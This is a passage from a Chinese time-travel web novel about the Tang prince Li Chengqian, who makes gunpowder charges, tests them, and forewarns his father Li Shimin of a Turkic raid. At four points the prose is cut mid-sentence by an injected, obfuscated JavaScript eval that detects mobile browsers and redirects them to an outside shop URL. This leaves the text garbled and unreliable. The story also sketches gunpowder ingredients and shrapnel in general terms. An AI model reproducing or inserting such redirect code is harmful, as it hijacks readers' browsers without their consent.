李世民正在用朝食,见长子来了,就招呼他坐下一起用:“你阿娘听说了昨晚的事,很担心你。承乾,待会儿记得去给你阿娘请安,给她报个平安。” 李承乾点头:“好。对了,阿耶。今天我想出宫。” 李世民皱眉道:“昨日才在你宫中发现了刺客,怎么今日就想着出宫?承乾,你知不知道这有多危险?” 李承乾明显愣了一下,犹豫了一会儿,他才靠近李世民,附在父亲耳边道:“可是,阿耶,那个刺客不是你安排的人吗?” 李世民顿了一下,放下筷子,看向李承乾,轻笑道:“承乾,你是什么时候知道的?” “昨晚,阿耶责罚尉迟将军的时候。” 李世民:“哦,何以见得?” 李承乾道:“对阿耶来说,是我重要还是尉迟将军重要?” 李世民算是明白他的意思了,他无奈点头:“自然是你。” “那就是了。倘若那真的是旁人派来的刺客,阿耶对尉迟将军的责罚怎么会那么轻?”李承乾分析道,“只怕那刺客是阿耶安排的人,为的只是想要将东宫守卫清理一遍吧。” 他想了想,看了一眼阿耶:“或者,阿耶想借此机会将整个大内都清理一遍?”如今大内居住的人是李渊。 李世民摇头失笑,拍了拍长子的肩膀,干脆利落地话题转回来:“承乾,你要出宫做什么?” 李承乾道:“阿娘把她以前住在永兴里的宅子给我了,我想去看看。” 长孙无音幼年时父亲刚去世,异母兄弟就把她和母亲以及哥哥长孙无忌三人赶了出来。长孙无音的舅舅高士廉收留了妹妹、外甥和外甥女,后来高士廉被贬谪到外地当官,为了照顾妹妹和外甥、外甥女,他就把自己的大宅子卖了,买了一个小宅子让妹妹等人居住,又把卖宅子剩下的钱分给妹妹。 等到长孙无音嫁给李世民,这个小宅子就作为了她的陪嫁。 前些日子,李承乾想要一个隐秘一些的地方,长孙无音就把这个小宅子送给了他。 李世民有些不解:“就为了去看那个小宅子?” 李承乾道:“我还要到舅舅家找冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289120|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表兄。” 原来是想去找表兄玩,李世民道:“你若想见长孙冲,我把他召进东宫来就是了。” “阿耶——”李承乾拖长了声音撒娇,“我想出宫。” “罢了,让你出去就是。”李世民无奈摇头。 之前住在秦王府的时候,承乾还有机会出府去玩,现在搬到东宫,倒确实是把他管得紧了。 李承乾立刻兴奋起来:“谢谢阿耶。” 李世民提醒道:“让你的甲士护卫左右,不要离身。” 李承乾:“好,我知道了。” 李世民:“离宫前先去给你阿娘报平安。” 李承乾大声应道:“是。” …… 李承乾出宫前先去丽正殿找母亲。 长孙无音道:“承乾,你要的东西,我已经命家庆帮你备好,存在那栋小宅子里了。只是承乾,你要那些硝石、硫黄、木炭做什么?你可知道,这些是道士炼丹的东西?” 李承乾点头:“阿娘,你放心。我绝对不会拿那些东西炼丹的。” “罢了,”长孙无音叹了口气,摸了摸儿子的小脸,“记得照顾好自己。” 李承乾应道:“好。” …… 李承乾带着甲士出了东宫,一路直奔永兴里。 等到了小宅子门口,他的侍读长孙家庆已经等在那里。 李承乾刚跳下马车,长孙家庆连忙迎了上来:“拜见中山王。” 李承乾摆摆手:“无妨,我们进去吧。” 长孙家庆:“是。” 两人带着甲士们走进宅内。 长孙家庆领着李承乾到了一间特意整理出来的宽阔屋子,里面分门别类堆着硝石、硫黄、木炭、纸、绳子、布匹等物。桌上又放着特制的等大小勺和各种容器。 长孙家庆指着桌上的器具一一介绍了一遍:“不知这些东西是否能满足中山王的要求?” 李承乾点头:“是我想要的,你做得很好。” 长孙家庆松了一口气:“那便好。”虽然自己比中山王年长二十多岁,之前又是中山王的侍读,可今日面对中山王,只觉他气势大涨,竟令人不敢喘息。 李承乾检查了各种原材料的品质,发现都很不错,便问道:“这些东西是你从哪里买来的?” 长孙家庆解释道:“回殿下,我与玄都观里的道士相熟,是从他们那里得来的。” 李承乾点头:“原来如此。” 他一边摆弄着桌上的原料,一边道:“表兄,你拿纸,将我做事的步骤一一记下来。” 长孙家庆:“是。” 过了一会儿,李承乾将几个炸-药包做好,对长孙家庆道:“表兄,我们到城外去吧。” 长孙家庆有些犹豫:“殿下要出城,是不是该禀告太子殿下一声?” 李承乾:“表兄不必担心,我自有分寸。” …… 长孙府的车,守城的将士自然不敢不放行。 李承乾命人驾车一路驶到郊外荒无人烟处,才命甲士挖了一个土堆,埋上炸-药包,垒上一些碎石。 几人躲到几十米开外,李承乾让他们捂好耳朵,点燃导火索。 只听几声巨响过后,顿时浓烟滚滚,石土飞溅,霎时间成山崩地裂之势。 套在马车上的马匹顿时受了惊,一时间竟不受控制,直向长安城方向逃去。 李承乾顿时大惊:“我们的马!怎么办,我们是不是要走回长安城了?” 长孙家庆比他更加吃惊,他指着剩下的炸-药包:“殿下,您现在担心的居然是马?这些到底是什么东西?!” 9. 发觉 李承乾手指着不远处的那处炸开的土堆,对着长孙家庆笑道:“表兄不是已经看到效果了吗?” 长孙家庆惊恐地咽了下口水:“那声惊雷……是殿下刚才放下的那个布包引燃引起的?” 李承乾点头:“我刚才做了什么,表兄看得一清二楚,又没有瞒着你,表兄怎么还是这么惊讶?” “可那威力巨大,石破天惊……”长孙家庆努力控制因恐惧而痉挛的脸,“这怎么可能是人力能够做到的?” 李承乾随意地抛着剩下的炸-药包:“这东西的用途之一就是开山造路,若没有如此威力,怎么开山?” 长孙家庆见李承乾如此随意那危险之物,心中更是惊恐,他克制着自己蠢蠢欲动想要将炸-药包从中山王手中夺下来的双手,连忙劝道:“殿下还是将这东西放下来吧。” 李承乾安抚道:“表兄莫怕,这东西遇火才燃,我手上又无火,不会炸开的。” 听闻此话,刚才拿着火折子点燃导火索的甲士连忙大步跳开,离众人一丈远。 这个活宝! 李承乾摇头失笑,他点了两个甲士命他们去把受惊逃跑的马儿们给寻回来,又冲着那个拿着火折子躲得远远的甲士招手:“尉迟宝琳,过来。” 那个年轻甲士惊了一下:“中山王知道我的名字?”随即,他又往后缩了一下:“殿下还是先把手里的东西放下,我再过来。” 李承乾无奈叹气:“行,我放下,行了吧。”他把炸-药包交给了领头的一名甲士。 那名甲士立刻拿起剩下的几个炸-药包放到几十米开外。 尉迟宝琳这才放心地围了过来:“殿下。” 李承乾看着众人:“今日之事……”说到这里,李承乾顿了一下。 尉迟宝琳立刻接话道:“殿下放心,今天的事我们绝对不会泄露出去的。” 李承乾:“……” 李承乾略带怀疑地看向他:“你到底是怎么选为我的甲士的?难道是被尉迟将军硬塞进来的?”这个关系户是不是有点太蠢了? “啊?”尉迟宝琳吃了一惊,“那中山王的意思是?” 李承乾:“若是阿耶问起,如实告知便好。除此之外,不得泄露给任何人。” 众甲士得令:“臣等遵令。” 李承乾看向领头的甲士:“你叫什么名字?” “微臣中山王府旅帅秦默,拜见中山王。” 李承乾点头:“你姓秦,秦将军是你的什么人?” 秦默:“大将军是微臣族亲,承蒙大将军荫庇,臣才得以入中山王府。” 李承乾点头。他如今才八岁,当然没有开府,所谓入中山王府,就是指成为中山王这个王爵下的官属而已。 不过他前世生过两场大病,对于他在中山王时期有过什么属官,早已经没什么印象了。 李承乾道:“那两人去找马还没回来,我们留个标记,去附近山里逛逛吧。” 众人应道:“是。” 此时正是夏末秋初,李承乾找的地方又靠近山野,倒是有不少野花盛开。 李承乾突然闻到一股似有若无的桂花香味,循着香味找去,果然找到了一株两米高半开的桂树,枝繁叶茂,枝叶间藏着半开的米粒大小的桂花。 李承乾笑道:“早桂新开,倒是个吉兆。把它挖出来,我要送给阿娘。” 众人就用随身携带的刀具把整棵桂树挖了出来,又用之前包炸-药剩下的布料把整棵桂树连泥带土包好。 李承乾又往附近找了找,又挖了几棵兰草,采了些野果,就带人往回走。 回去的路上,李承乾有些惊讶地对长孙家庆道:“我还以为我们能碰到什么野兽呢,居然连野兔山鸡都没有遇到一只。” 长孙家庆推测道:“只怕是刚才的巨响,把山里的野兽都吓跑了吧。” 李承乾:“这么说也有道理。” 等众人回到原地,那两名甲士已经把吓跑的马儿们找了回来,只是马车的车轴却已经损坏,无法修补。 秦默提议道:“中山王,不如命人回城内再驾一辆车出来,殿下在此稍作等待。” 李承乾摇头:“那样也太浪费功夫了。我和你共乘一骑便是。” 他看向长孙家庆:“表兄,你会骑马吗?” 长孙家庆苦了脸:“我与人共乘一骑便是。” 李承乾:“那我们赶紧回去吧,我还想去舅舅家呢。” …… 东宫显德殿。 李世民正在审视着手上的这份《急就篇》。这是今早他给女儿丽质检查功课的时候意外发现的。丽质说,这是她阿兄写给她的字帖。 李承乾当时看着这份《急就篇》上陌生的字迹,没有立刻发作,只是装作若无其事的样子从丽质手里借走了这份字帖。 这绝不可能是承乾现在能写出来的字。 承乾…… 李世民想到这里,叹了口气。 侍从:“太子殿下,程卫率在殿外求见。” 程知节?他会有什么事? 李世民皱眉:“让他进来。” 程知节走进殿内,还没等他行礼请安,李世民便道:“不必多礼,出了什么事?” 程知节:“殿下,长安城外东南角有巨响,臣恐有惊雷落地,便派人去查看,不想地上竟凭空冒出一个约莫一丈宽的大坑。” 李世民:“是陨石落地吗?” 程知节摇头:“臣虽没有见过陨石,但问了太史局的人,他们都说不太像是星陨落地。此外……”说到这里,他停顿了一下,没有继续说下去。 李世民笑道:“程咬金,你什么时候变得这么吞吞吐吐的了?说吧,还发现了什么?” 程知节:“此外,府兵还在大坑附近发现了一辆损坏的马车,上面有长孙家的徽号。” 李世民立刻下令:“来人,把长孙无忌给我找来。” …… 长孙无忌府内。 长孙无忌面对着灰头土脸的小外甥,一脸无奈:“殿下是跑到哪儿去玩了?怎么弄得一身的土。” 他严厉地看向长孙家庆:“家庆,你就是这么侍奉中山王的?” 长孙家庆低下头,呐呐不言。 李承乾连忙道:“不怪表兄,这土是我自己弄的。对了,舅舅,你府上有没有花匠?我从山里挖了一株桂树,要送给阿娘的,得赶紧把它放到盆里栽种好。” 长孙无忌叹道:“那些小事臣会处理好的。殿下赶紧随你舅母去洗漱一番,换身衣服吧。” 李承乾乖乖应道:“我知道了。” 李承乾跟着高舅母去洗了澡,换了干净的衣服。 高舅母柔声问道:“这身衣服给是冲儿新做的,还没上过身,殿下穿着可还合身?” 李承乾点头:“我和冲表兄身量差不多。对了,表兄呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289121|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高舅母笑道:“我命人去把冲儿找来。殿下和他玩一会儿,一会儿就可以吃午食了。” 李承乾:“好。” 长孙冲到的时候,李承乾正做在房间内吃着点心,身后有侍女在给他擦头发。 长孙冲对着李承乾请安。 李承乾笑道:“你我姻亲之间,何必如此多礼。” 长孙冲连道几声不敢。 李承乾道:“冲表兄来陪我下棋吧。” 长孙冲:“是。” 李承乾一边在棋盘上落子,一边观察着对面的长孙冲。 长孙冲年纪和他差不多大,性情温和,谦逊有礼。如果不是他和丽质之间有血缘关系的话,确实是一个好的夫婿人选。前世,阿耶选择长孙冲做丽质的驸马,确实是用心良苦。如果不是出了他的那件事…… 长孙冲抬头:“殿下一直看着臣,是臣身上有什么不妥吗?” 李承乾摇头:“不是,只是我在想事情而已。” …… 等到李承乾的头发擦得差不多,高舅母就请他们过去吃午食。 李承乾和长孙冲走进堂屋,里面只有高舅母和长孙无忌的其他儿女。 李承乾惊讶道:“舅舅怎么不在?” 高舅母答道:“刚才东宫来人,把他叫进宫里去了。” 原来是阿耶找长孙无忌有事。 李承乾点点头,没有再多说什么。 吃完饭,李承乾让长孙冲陪着在他家花园里逛了逛。 等长孙府的花匠把他的桂树重新移到盆里,李承乾就向高舅母请辞,带人回到东宫。 李承乾回东宫之后,直接带着他的桂树去了丽正殿。 “阿娘,你看我给你带了什么回来?” 长孙无音笑道:“承乾,你要不先看看清楚,阿娘身边坐着谁?” “阿兄,你出宫去玩都不带我,太过分了!”李丽质一脸控诉地盯着李承乾。 李承乾顿时感到头疼:“下次,下次,等你以后大一点,阿兄就带你出去玩,好不好?” 李丽质哼了一声:“我不要和阿兄好了。” 李承乾连忙道:“我今日从山里找到几株好看的兰花,丽质你要不要?你一定会喜欢的。” 李丽质偷偷地转过头,见李承乾看她,立刻把头转回去:“我先看看,再决定要不要原谅阿兄。” 李承乾让人把桂花和几株兰花送进来,李丽质看了果然喜欢。 长孙无音叹道:“这桂树在山林间活得好好的,又何必把它带回来?” 李承乾笑道:“若我不取走它,它只怕会被樵夫当柴烧掉呢。还不如长在宫中,它还有生机可寻。” 长孙无音笑着摸了摸李承乾的头顶:“你又胡说了,乡野之人对这些东西可比我们知道得多多了。” 她看着眼前这棵桂树,心中确实欢喜:“此树高大,生在盆中倒是委屈了它,让人把它移出来种在这院中吧。” 李丽质也跑过来看这棵桂树。 突然,她对李承乾道:“对了,阿兄,今天早上阿耶把你之前写给我的那份字帖借走了。阿耶离开的时候脸色好像有点不好呢。” 长孙无音皱眉不语。 李承乾正要说些什么,便有侍从来传,让李承乾去显德殿面见李世民。 长孙无音上前拉住李承乾的手:“莫怕,承乾,阿娘陪你一起去。” 李承乾点头:“嗯。” 10. 隐瞒 东宫,显德殿内。 李承乾和母亲走进殿内的时候,殿内除了正坐在前方的李世民外,并无其他人。 李承乾对着父亲行礼:“阿耶。” 李世民见妻子也跟着走进来,有些惊讶:“音娘怎么也来了?” 长孙无音笑道:“二郎要盘问我的儿子,我怎么能不来?” 李世民无奈道:“我不过把承乾叫过来问问,你又何必如此多心?” 他站起身,走下来拉起妻子的手:“你一味地替他瞒着,只怕不知道他今日究竟做了何事。” 李世民看向李承乾:“承乾,你自己告诉你母亲,你今日去城外做了什么?” 李承乾看向父亲,问道:“阿耶之前应该已经审问过家庆表兄和跟着我的甲士了吧?” 李世民差点被他这话给气笑:“承乾,现在是我在问你。” 李承乾道:“我之前不是和阿耶说,一个月后,我要送阿耶一份礼物嘛,阿耶现在提前拆了礼物,怎么还要来盘问我?” 李世民回想起此事,更是生气:“那你怎么不提前告诉我,你要送的是威力那么大的东西?” 他拉着长孙无音委屈诉苦:“音娘,你是不知道,今日承乾造了一物,用火引燃,有石破天惊之效。若是将那物扔到人身上,只怕那人就要粉身碎骨。你说,这么危险的东西,他不提前告诉我,居然还敢偷偷带人到城外试验,我怎么能不生气?” 长孙无音顿时沉下脸,看向长子:“承乾,你阿耶说的可是真的?先前你答应过阿娘什么,《孝经》开篇是什么,你可还记得?” 李承乾低下头:“身体发肤,受之父母,不敢毁伤,孝之始也。” 李世民见妻子生气,连忙调油加醋:“正是如此。知命者不立乎岩墙之下的道理,你自小就知道,难道还需要阿耶阿娘再教给你吗?” 等等,李承乾突然觉得好像哪里不太对劲。 他抬起头,惊讶地开口:“阿耶就为了这种小事,找我过来?” “这是小事?”李世民怒道,“事关你的性命,怎么会是小事?” “可是……”李承乾犹豫道,“阿耶不是应该先问问我,是怎么知道造出火-药的吗?” “那些细枝末节的事,又何必多虑。”李世民道,“况且,承乾你有事瞒着我的事,我早已知晓,这事你也是知道的。” 李承乾惊讶:“那阿耶不问我吗?” 李世民冷笑道:“我问了,你就会如实说吗?” 那当然不会,李承乾低下头。 长孙无音道:“承乾,你今日回去之后,将《孝经》抄写百遍,明日交给我看。” 李承乾应道:“是。” 处理完长子的教育问题,李世民开始处理那些细枝末节的东西:“承乾,你说,你做的那个东西叫火药?为什么叫这个名字?” 李承乾:“这东西原是道士炼丹的时候发现的,硝石、硫磺、木炭,按照一定比例混合,就能造成大规模的爆炸。因为和丹药和火有关,所以叫它火药。” 李世民道:“你又看了什么乱七八糟的书?算了,这先不说你。你为何突然要造此物?” 李承乾看着李世民,突然缓缓道:“武德九年八月甲戌,突厥颉利、突利寇泾州,还望阿耶早做准备。” 李世民面上不动声色,心中已是大惊,他缓缓吐出一口气:“承乾,你是如何得知此事的?” 李承乾:“阿耶,你知道我不会告诉你的。” 想了想,他补充道:“总之阿耶早做准备就是。” “还有,如果要加大火药的威力,可以往里面塞一些铁片,杀伤力应该会更大。此外,将火药装在铁器内,爆炸的效果是最好的,只是不知道现在来不来得及。” “阿耶,你还有什么想问的吗?” 李世民道:“承乾,你可知道,我何日即位?” 李承乾沉默了一会儿,最终还是开口:“八月癸亥。” 听到这个答案,李世民突然轻笑一声。 八月癸亥。 这个日子,是他一刻钟前才从太史令呈报上来的几个日子里圈出来的,奏本现在还放在他的桌案上,除了他自己,世上绝对无人知晓。 他素来不信鬼神之说,始皇求仙,汉武问药,不过虚妄,空有其名。可今日承乾之事,却让他不得不多想。 李世民不免惊疑道:“莫非这世上真有神鬼?” 李承乾的表现比他更惊讶:“阿耶怎么会这么想?你不是一向不信神的吗?” 李世民道:“如果没有鬼神,你的事又该作何解释?” 到底为什么会穿越重生,李承乾还真没想明白:“宇宙射线?量子力学?墨菲定律?或者史同人的执念?总之,我觉得和那些神神鬼鬼的东西没关系啦。” 李世民差点被长子脱口而出的几个词搞糊涂:“这些词是什么意思?” 李承乾也有点懵懵的:“我也不知道啊。我大学物理成绩很差的。” 李世民:“……” “好了,你们俩都歇一歇吧。”一直在旁边默默聆听的长孙无音打断了这场鸡同鸭讲的对话,“承乾,你先回去抄书。我和你阿耶有话要说。” “是。” 夫妻俩目送着长子走远,才找席坐了下来,继续讨论。 “刚才承乾说得我都糊涂了。”李世民道,“《庄子》里说:奚旁日月,挟宇宙。可宇宙射线是什么东西?” “二郎,”长孙无音认真地看向李世民,“想必二郎刚才也应该猜到,承乾刚才说的那几句话出自何处。” 李世民点头:“像是史书中的话。” 长孙无音:“之前承乾和我说,他去过千年之后,想必是看过唐史。他的这番奇遇暂且不论,我只担心他还有别的事瞒着我。” 李世民:“音娘所忧何事?” 长孙无音:“之前承乾和我提起此事时,我观其神态,他小小年纪,竟心存死志。我强压了下去,这几日见他开朗了不少,还以为他好转了。可是我今日听你说起他的言行,他竟丝毫未改,还是将自己置于危险之中。” 李世民听爱妻这样说,神色也逐渐严肃起来:“只怕和承乾隐瞒的事情有关。” 长孙无音点头:“我也是这样想的。可承乾今天的态度,二郎也看到了。我身为母亲,一时间竟不知道要如何帮他。” 李世民将妻子揽进怀里:“不怕,有你我二人在,难道还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289122|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阻止不了承乾吗?慢慢来吧。” …… 早在秦王府时,李世民就常和众臣商议防备突厥之事。 如今有了李承乾的提前预报和火药方子,防备起来更是得心应手。 虽然如今国朝刚平,可他手里的兵将并没有放下懈怠,只需重新整备兵马,调集粮草即可。再加上紧急命人秘密制备的炸药包,更是加强了兵将们的信心。 如今更需要担心的,反倒是承乾。 …… 李承乾自从那日之后,就重新当起了”好孩子”。 在上课的时候和先生们拌拌嘴,时不时气气孔颖达,倒是让他找到了一丝重新读书的乐趣。 几位经学大儒当然会找李世民告状,尤其是孔颖达,经常被李承乾的诡辩之论气到跳脚。 可惜李世民想到李承乾身上的异状,狠不下心责罚他,只能对几位大儒多加抚慰。 …… 时间很快就到了七月半,地官赦罪之日。 因为李唐皇室以老子李耳为先祖,所以对道教颇为推崇。对于三元之一的中元节,自然也极为上心。百姓会在这一日举办法会,为逝去先人祈福赦罪,使其安居地下。 佛教传入之后,也在同一日设置了盂兰盆会,同为悼念、追思、祭祀逝去亲人之意。 长安城内的佛道盛会自不必多说。 宫内,李渊也一同带着太子李世民并一众子嗣祭祖,以尽哀思。 忙了一日,晚上李承乾躺在床上的时候已经满身疲惫,很快就睡了过去。 睡意朦胧之间,他隐约听到了殿外传来似有若无的哭声。 大概是哪个小宫女在哭着思念家人吧。 李承乾没想太多,蒙上被子重新睡了过去。 第二日,李承乾起床吃早饭的时候发现了异常。 殿内侍奉的宫女们脸上的神色似乎都有些奇怪,又像害怕,又像是遇到了什么稀奇的事。 李承乾一边喝粥,一边询问王乳娘:“乳娘,发生了何事?” 王乳娘忙道:“大郎不必多问,这些小丫头最近皮松了,乱嚼舌根,等会儿奴给他们紧紧皮,就没事了。” 李承乾放下筷子,笑道:“乳娘不必瞒我,有什么事直说就是。” 王乳娘犹豫一番,但还没有开口。 李承乾就点了一个殿内面生的小宫女过来:“你可知道发生了何事?” 那小宫女畏畏缩缩的,并不敢说。 李承乾温声道:“你若如实说,我去求阿娘,让她放你归家,如何?” “殿下说的可是真的?”小宫女惊喜道。 李承乾笑道:“自然是真的。” 小宫女便脆生生道:“奴听人说,有人昨晚在院中看到了小孩的鬼影。” 李承乾耐心引导她:“还有呢?” 小宫女:“奴还听说,有人在显德殿附近看到了已经死去的废太子和齐王。” 李承乾逐渐收敛了脸上的笑容:“是谁告诉你的?” 小宫女:“不知道,反正大家都这么说。” 李承乾道:“你做得很好,我现在就去求阿娘,放你出宫。” 小宫女一脸兴奋:“多谢殿下。” 11. 准备 东宫丽正殿。 长孙无音正在处理东宫的宫务,分发各宫日常所需的物资。 因为如今皇帝李渊并无册立皇后,无人处理大内宫务。她作为太子妃,还需要处理帮忙大内的宫务。虽然李渊如今高位后妃并不算多,但毕竟都是李世民夫妻二人的庶母,有些事情轻不得重不得,处理起来颇为麻烦。 再者,八月癸亥日要举行太子即皇帝位的登基大典,有不少东西都要提前准备。 可如今,皇帝李渊竟丝毫没有搬迁出大内的意思。 李承乾走进殿内请安的时候,长孙无音正在为此事苦恼。 李承乾行礼问安:“阿娘安好。” “承乾来了,快坐到阿娘身边来。”长孙无音拉着李承乾坐到自己身边的席上,“你来寻阿娘,有什么事吗?不会又惹你的几位先生生气了吧。” 李承乾笑道:“难道我在阿娘心中,便一直是这样会闯祸的孩子吗?” 长孙无音捏了捏长子有些柔软的脸蛋,失笑道:“那你说说,你是不是故意惹你那几位先生生气的?嗯?” 李承乾故意偏过头:“他们说不过我,就只知道跟阿耶阿娘告状。” 长孙无音叹道:“承乾,你应该知道,不管是为人处事还是治国理政,靠你的那套诡辩之论都是行不通的。你如今还小,阿耶和阿娘还可以包容你。等你年岁渐长,若还是如此,只怕你阿耶就得想其他办法了。” 李承乾无奈地吐吐舌头:“我知道了,阿娘。我以后会好好听课的。除了孔颖达,我不会再欺负其他老师了。” “你呀!性子总是这么倔。”长孙无音戳了戳李承乾的额头,无奈摇头。 李承乾垂下眼,低声道:“我知道,因为孔颖达姓孔,比起其他经学大儒,不管是阿翁还是阿耶都会更敬他三分。可这世间又不止他一个姓孔的,我偏就不喜欢他。” 长孙无音叹道:“罢了,不喜欢就不喜欢吧,但别在面上流露出来。” “阿娘放心,我知道该怎么做,不会叫人抓住错处的。”李承乾看向长孙无音,“对了,阿娘可知道今日宫中的流言?” 长孙无音摇头:“什么流言?我还未曾听说。” 李承乾:“据说昨日中元节后,有人在夜间看到了罪人建成、元吉及幼童的鬼魂。孩儿只怕是宫中有人特意借鬼神之说行巫蛊之事。必须得彻查源头才行。” 长孙无音皱眉:“宫中人员成分复杂,只怕不太好查。” 他们现在居住的宫殿是前朝隋朝的大兴宫,李渊在此即位建立唐朝之后,虽然带来了新的内侍宫女,但并没有遣散原本隋宫内的宫人,而是将他们留了下来,仍叫他们继续在宫殿内侍奉。 李承乾沉吟道:“阿娘,你觉得宫中散播谣言的事会不会是阿翁做的?” 长孙无音听闻,立刻严厉地看向他:“承乾,不可在背后议论长辈。” 李承乾叹了一口气,起身,恭敬地行了一礼:“是,孩儿领训。” 长孙无音缓和了口气,把儿子拉到身边:“承乾,你阿耶虽然处理了你大伯和四叔的事,可那是大人的事,和你无关。对于陛下,他不仅是你的阿翁,更是天子,你该敬之又敬才是。” 李承乾点头:“我知道了,阿娘。” 之前毕竟发生了玄武门之事,长孙无音也知道自己的话没什么说服力。只是对于承乾,他对帝王竟毫无敬畏之心,实在是太危险了。下一个承袭天子之位的人,是他的阿耶。二郎待承乾,到底是帝王之心更重,还是慈父之心更重,谁也不知道。 长孙无音道:“承乾,这件事我会和你阿耶商量的。你先回去吧。” “好。”李承乾正要离开,突然顿住脚步,“对了,阿娘,我宫中有一个小宫女,我承诺要放她归家,你能把她的名字从名册上划去吗?” 长孙无音应道:“好,阿娘知道了。” …… 李承乾回到自己宫殿的时候,今日教他读书的先生陆德明已经等在殿内了。 陆德明问道:“今日中山王为何来迟?” 李承乾先行了一礼:“我今日去向母亲请安,故而来迟,还请先生见谅。” 陆德明点头赞许:“中山王孝心可嘉,无妨。我们开始吧。” 今日陆德明讲的是《周礼》。 “惟王建国,辨方正位,体国经野。设官分职……” 陆德明缓缓说着,李承乾一边听,一边在不理解的地方提出自己的疑问。 他前世毕竟做了十八年的太子,又有名师教导,如果不故意捣乱,是一个让老师教起来很舒服的学生。 陆德明今日教授中山王的时候便觉得极为痛快。 学生一点就通,又能举一反三,实在是为师者的幸事。再加上陆德明上一个教授的学生是陈后主陈叔宝这个亡国之君,两相比较起来,更觉得中山王确实聪慧过人。 今日教学结束之后,陆德明一张满是皱纹的脸上不由露出宽慰的笑容:“看来中山王今日终于想通了。” 李承乾道:“为解母忧,不敢不从。” 陆德明叹息摇头,张嘴要想说些什么,想了想还是没开口,便往殿外走去。 李承乾忙道:“先生且慢。我听说先生前些日子牙疼,命人准备了一些止疼的药丸。还有,听说先生家中孙儿已经启蒙,我之前曾为弟妹临写字帖,厚颜相赠,还望先生勿怪。” 陆德明愣了一下,没想到今日中山王居然如此尊师,他开口道:“如此,臣就多谢殿下相赠了。” 李承乾道:“殿前台阶陡峭,我扶先生至宫门。” 陆德明点了点头,没再多说。 李承乾一路把陆德明扶到嘉福门外,直到看着陆德明坐上马车,这才离开。 这一路上,李承乾也遇到了不少大臣,也纷纷点头致意。 回到所居宫殿之后,李承乾叫来今天早上的小宫女:“让你归家的事,阿娘已经应准了。” 小宫女欣喜道:“奴多谢中山王殿下。” 李承乾道:“只是这几日宫中正忙,你要出宫,只怕还要再等上一个月。” 小宫女笑道:“奴知道,奴会耐心等着的。” 李承乾起了和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289123|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交谈的心思:“你叫什么名字?从哪儿来的?家里有几口人?” 小宫女道:“奴名高真真,武功县人士。家中除了父母,还有三个哥哥。我哥哥们跟着陛下打仗,得了不少封赏呢。” 李承乾笑道:“如此说来,你我倒是同乡呢。” …… 第二日。 临近傍晚的时候,太子妃传出懿旨,言怜惜掖庭宫女久离亲族,要在太子即位大典之后选一批宫女放出归家。 消息一出,顿时整个掖庭宫都沸腾起来,纷纷感谢太子妃恩德,期待着自己能被选上放出宫和家人团聚,再没人提起夜间鬼魂之事。 李承乾听闻此事,又将那小宫女叫来,赠其十金,作为额外的赏赐。 …… 夜晚,东宫,丽正殿寝殿内。 长孙无音坐在铜镜前,命人拆下她的发髻,手里拿着一卷书在看。 李世民走进来,见状接过梳头宫女手里的木梳,替妻子梳理长发。 长孙无音放下手里的书,望着镜中的丈夫:“这道懿旨一出,只怕陛下那边会有所不满。” 李世民笑道:“不怕,等我即位之后,会再传一道放宫女诏,陛下怪不到你身上。” 听闻此话,长孙无音连忙转头看向李世民,只是她转得急,忘了长发还捏在丈夫手里,一时间被扯到头发,立刻“嘶”地一声,眼泪都流了出来。 李世民放下手里的长发,一边帮她按摩头皮,一边笑道:“音娘这么着急做什么,怎么样,扯得疼不疼?” “我还好,别说我了。谁担心会被陛下怪罪了,二郎明明知道我的意思,又戏弄我。” 李世民怜爱地亲去妻子眼角的泪水,笑道:“我本就嫌宫中人多口杂,耗费甚多,放出宫女本就是应有之义,你又担心什么?” 长孙无音叹道:“二郎既然如此说,看来陛下是不愿意迁宫了。” 提起此事,李世民冷笑道:“没错,他说他在太极殿住惯了,不愿搬迁。” 长孙无音:“既然陛下不愿意让出大内。那二郎八月的即位大典,要在何处举行?还要在太极殿吗?” 